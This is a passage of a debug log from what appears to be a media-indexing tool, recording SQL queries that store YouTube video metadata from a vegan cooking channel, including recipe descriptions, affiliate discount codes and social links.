https://huromamericaamazon.sjv.io/o4PPom\n\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day 💪🏼 High-Protein Vegan Meals to Hit 110g Protein 🌱", 1, nil, false, "IcLznXn4_ac", "https://www.youtube.com/watch?v=IcLznXn4_ac", "/downloads/downloads/alec/Steamy Vegan/2025-05-24 What I Eat in a Day 💪🏼 High-Protein Vegan Meals to Hit 110g Protein 🌱/What I Eat in a Day 💪🏼 High-Protein Vegan Meals to Hit 110g Protein 🌱 [IcLznXn4_ac].NA", false, ~U[2025-05-24 00:00:00Z]] 20:31:06.768 [debug] QUERY OK source="sources" db=1.1ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.770 [debug] QUERY OK source="media_items" db=2.1ms idle=7.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-20 00:00:00Z], 1] 20:31:06.773 [debug] QUERY OK source="media_items" db=1.3ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making a high protein vegan nourish bowl that packs a whopping 41g of plant based protein! This vegan protein bowl keeps you full for hours and is great if you're trying to build muscle and lose weight on a vegan diet. \n\nRECIPE ON MY BLOG ➡️ https://steamyvegan.com/golden-glow-t...\n\nLooking for more high-protein recipes? Check out these other high-protein recipes on the channel:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nBacon Cheeseburger Casserole: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "This healthy vegan bowl has 41g protein! 💪🏼🌱 High protein vegan meals", "c3fbdb95-b940-44b7-9956-08d83019557d", 1, [], false, "D2hbQxhZeeo", "https://www.youtube.com/watch?v=D2hbQxhZeeo", 88, "/downloads/downloads/alec/Steamy Vegan/2025-05-20 This healthy vegan bowl has 41g protein! 💪🏼🌱 High protein vegan meals/This healthy vegan bowl has 41g protein! 💪🏼🌱 High protein vegan meals [D2hbQxhZeeo].NA", false, false, false, 1, ~U[2025-05-20 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "We're making a high protein vegan nourish bowl that packs a whopping 41g of plant based protein! This vegan protein bowl keeps you full for hours and is great if you're trying to build muscle and lose weight on a vegan diet. \n\nRECIPE ON MY BLOG ➡️ https://steamyvegan.com/golden-glow-t...\n\nLooking for more high-protein recipes? Check out these other high-protein recipes on the channel:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nBacon Cheeseburger Casserole: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n1 Hour High-Protein Meal Prep: \u00A0\u00A0\u00A0•\u00A01\u00A0HOUR\u00A0High-Protein\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A0💪🏼🌱\u00A01...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "This healthy vegan bowl has 41g protein! 💪🏼🌱 High protein vegan meals", 1, nil, false, "D2hbQxhZeeo", "https://www.youtube.com/watch?v=D2hbQxhZeeo", "/downloads/downloads/alec/Steamy Vegan/2025-05-20 This healthy vegan bowl has 41g protein! 💪🏼🌱 High protein vegan meals/This healthy vegan bowl has 41g protein! 💪🏼🌱 High protein vegan meals [D2hbQxhZeeo].NA", false, ~U[2025-05-20 00:00:00Z]] 20:31:06.774 [debug] QUERY OK source="sources" db=1.2ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.777 [debug] QUERY OK source="media_items" db=2.7ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-16 00:00:00Z], 1] 20:31:06.782 [debug] QUERY OK source="media_items" db=3.9ms queue=0.2ms idle=10.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this Costco grocery haul I'll show you all of the vegan, gluten-free and high-protein groceries that I got this week during my weekly haul! I also found a couple of new vegan groceries during my grocery haul that I'm excited to share with you! \n\nRecipes featured in this episode:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nBacon Cheeseburger Casserole: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco Grocery Haul! 🛒 Vegan and Gluten Free High Protein Groceries 💪🏼🌱", "85f42d09-fec2-4e82-975b-05dc1d26e39b", 1, [], false, "2oKosiSB3KU", "https://www.youtube.com/watch?v=2oKosiSB3KU", 89, "/downloads/downloads/alec/Steamy Vegan/2025-05-16 Costco Grocery Haul! 🛒 Vegan and Gluten Free High Protein Groceries 💪🏼🌱/Costco Grocery Haul! 🛒 Vegan and Gluten Free High Protein Groceries 💪🏼🌱 [2oKosiSB3KU].NA", false, false, false, 1, ~U[2025-05-16 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this Costco grocery haul I'll show you all of the vegan, gluten-free and high-protein groceries that I got this week during my weekly haul! I also found a couple of new vegan groceries during my grocery haul that I'm excited to share with you! \n\nRecipes featured in this episode:\n3 NEW Tofu Recipes: \u00A0\u00A0\u00A0•\u00A03\u00A0NEW\u00A0Tofu\u00A0Recipes\u00A0-\u00A0CRISPY,\u00A0SWEET,\u00A0and\u00A0SP...\u00A0\u00A0\nBacon Cheeseburger Casserole: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Bacon\u00A0Cheeseburger\u00A0Dump\u00A0and\u00A0Bake\u00A0Cas...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco Grocery Haul! 🛒 Vegan and Gluten Free High Protein Groceries 💪🏼🌱", 1, nil, false, "2oKosiSB3KU", "https://www.youtube.com/watch?v=2oKosiSB3KU", "/downloads/downloads/alec/Steamy Vegan/2025-05-16 Costco Grocery Haul! 🛒 Vegan and Gluten Free High Protein Groceries 💪🏼🌱/Costco Grocery Haul! 🛒 Vegan and Gluten Free High Protein Groceries 💪🏼🌱 [2oKosiSB3KU].NA", false, ~U[2025-05-16 00:00:00Z]] 20:31:06.784 [debug] QUERY OK source="sources" db=1.0ms idle=12.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.786 [debug] QUERY OK source="media_items" db=1.8ms idle=11.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-13 00:00:00Z], 1] 20:31:06.787 [debug] QUERY OK source="media_items" db=1.2ms idle=11.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this vegan meal prep, I'll show you how to create 3 days worth of vegan recipes for breakfast, lunch and dinner that reach 100g protein and 1800 calories. This vegan meal prep only takes 1 hour and all of these vegan recipes are gluten-free and perfect for weight loss or muscle gain.\n\nGET THE FULL MEAL PREP BLOG HERE! ➡️ https://steamyvegan.com/1-hour-high-p...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more meal prep ideas?\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "1 HOUR High-Protein Vegan Meal Prep! 💪🏼🌱 100g Protein and 1800 calories", "856c5c18-d05d-4b56-8a1f-64a31b0ca846", 1, [], false, "-0c2ixpgXNs", "https://www.youtube.com/watch?v=-0c2ixpgXNs", 90, "/downloads/downloads/alec/Steamy Vegan/2025-05-13 1 HOUR High-Protein Vegan Meal Prep! 💪🏼🌱 100g Protein and 1800 calories/1 HOUR High-Protein Vegan Meal Prep! 💪🏼🌱 100g Protein and 1800 calories [-0c2ixpgXNs].NA", false, false, false, 1, ~U[2025-05-13 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "In this vegan meal prep, I'll show you how to create 3 days worth of vegan recipes for breakfast, lunch and dinner that reach 100g protein and 1800 calories. This vegan meal prep only takes 1 hour and all of these vegan recipes are gluten-free and perfect for weight loss or muscle gain.\n\nGET THE FULL MEAL PREP BLOG HERE! ➡️ https://steamyvegan.com/1-hour-high-p...\n\n✨ Sign up for my email list and get recipes sent to you every month! ➡️ http://eepurl.com/iUdmrI\n\nLooking for more meal prep ideas?\nItalian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Italian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,\u00A0...\u00A0\u00A0\nHawaiian Meal Prep: \u00A0\u00A0\u00A0•\u00A0Hawaiian\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A04\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nLebanese Meal Prep: \u00A0\u00A0\u00A0•\u00A0Lebanese\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A05\u00A0Vegan\u00A0Recipes,...\u00A0\u00A0\nGreek Meal Prep: \u00A0\u00A0\u00A0•\u00A0Greek\u00A0Vegan\u00A0Meal\u00A0Prep!\u00A07\u00A0Vegan\u00A0Recipes,\u00A01\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "1 HOUR High-Protein Vegan Meal Prep! 💪🏼🌱 100g Protein and 1800 calories", 1, nil, false, "-0c2ixpgXNs", "https://www.youtube.com/watch?v=-0c2ixpgXNs", "/downloads/downloads/alec/Steamy Vegan/2025-05-13 1 HOUR High-Protein Vegan Meal Prep! 💪🏼🌱 100g Protein and 1800 calories/1 HOUR High-Protein Vegan Meal Prep! 💪🏼🌱 100g Protein and 1800 calories [-0c2ixpgXNs].NA", false, ~U[2025-05-13 00:00:00Z]] 20:31:06.788 [debug] QUERY OK source="sources" db=0.7ms idle=10.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:06.790 [debug] QUERY OK source="media_items" db=1.9ms idle=6.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-10 00:00:00Z], 1] 20:31:06.792 [debug] QUERY OK source="media_items" db=1.5ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This chia pudding is one of my fave summer vegan recipes that I eat for breakfast almost every week. It's the perfect time of year right now to try out this lemon blueberry chia pudding and add it to your weekly meal prep. \n\nLEMON BLUEBERRY CHIA PUDDING\nZest of a 1 small lemon & 1 small lime\nJuice of 1 small lemon & 1 small lime\n1 can full fat coconut milk, about 1½ cups\n¼ cup water\n3 tbsp maple syrup\n¼ tsp salt\n¼ tsp turmeric\n5 to 6 tbsp chia seeds\n\nCombine all ingredients minus chia seeds in blender and blend until smooth. Add chia seeds and pulse a few times until incorporated. Pour into sealable container and refrigerate overnight until set and firmed up.\n\nWant more breakfast ideas? Check out these videos:\nProtein Pancakes: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Protein\u00A0Pancakes!\u00A0🥞\u00A0(High\u00A0Protein\u00A0Ve...\u00A0\u00A0\nTofu Scramble: \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0\nOvernight Oats: \u00A0\u00A0\u00A0•\u00A02\u00A0High\u00A0Protein\u00A0Overnight\u00A0Oats\u00A0Recipes!\u00A0Veg...\u00A0\u00A0\nOatmeal: \u00A0\u00A0\u00A0•\u00A03\u00A0Vegan\u00A0and\u00A0Gluten-Free\u00A0Oatmeal\u00A0Recipes\u00A0/\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Lemon Chia Pudding! 🍋🫐 My latest healthy vegan breakfast recipe OBSESSION", "4eb30e6f-b067-4c14-9620-16b999eb59dc", 1, [], false, "gllvjX81_EY", "https://www.youtube.com/watch?v=gllvjX81_EY", 91, "/downloads/downloads/alec/Steamy Vegan/2025-05-10 Lemon Chia Pudding! 🍋🫐 My latest healthy vegan breakfast recipe OBSESSION/Lemon Chia Pudding! 🍋🫐 My latest healthy vegan breakfast recipe OBSESSION [gllvjX81_EY].NA", false, false, false, 1, ~U[2025-05-10 00:00:00Z], ~U[2026-03-22 03:31:06Z], ~U[2026-03-22 03:31:06Z], "This chia pudding is one of my fave summer vegan recipes that I eat for breakfast almost every week. It's the perfect time of year right now to try out this lemon blueberry chia pudding and add it to your weekly meal prep. \n\nLEMON BLUEBERRY CHIA PUDDING\nZest of a 1 small lemon & 1 small lime\nJuice of 1 small lemon & 1 small lime\n1 can full fat coconut milk, about 1½ cups\n¼ cup water\n3 tbsp maple syrup\n¼ tsp salt\n¼ tsp turmeric\n5 to 6 tbsp chia seeds\n\nCombine all ingredients minus chia seeds in blender and blend until smooth. Add chia seeds and pulse a few times until incorporated. Pour into sealable container and refrigerate overnight until set and firmed up.\n\nWant more breakfast ideas? Check out these videos:\nProtein Pancakes: \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0Protein\u00A0Pancakes!\u00A0🥞\u00A0(High\u00A0Protein\u00A0Ve...\u00A0\u00A0\nTofu Scramble: \u00A0\u00A0\u00A0•\u00A0The\u00A0best\u00A0TOFU\u00A0SCRAMBLE\u00A0|\u00A0how\u00A0to\u00A0make\u00A0tofu\u00A0...\u00A0\u00A0\nOvernight Oats: \u00A0\u00A0\u00A0•\u00A02\u00A0High\u00A0Protein\u00A0Overnight\u00A0Oats\u00A0Recipes!\u00A0Veg...\u00A0\u00A0\nOatmeal: \u00A0\u00A0\u00A0•\u00A03\u00A0Vegan\u00A0and\u00A0Gluten-Free\u00A0Oatmeal\u00A0Recipes\u00A0/\u00A0...\u00A0\u00A0\n\nMy Instagram: https://www.instagram.com/steamyvegan...\nMy Blog: steamyvegan.com\nFor business inquiries: janelle@steamyvegan.com\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Lemon Chia 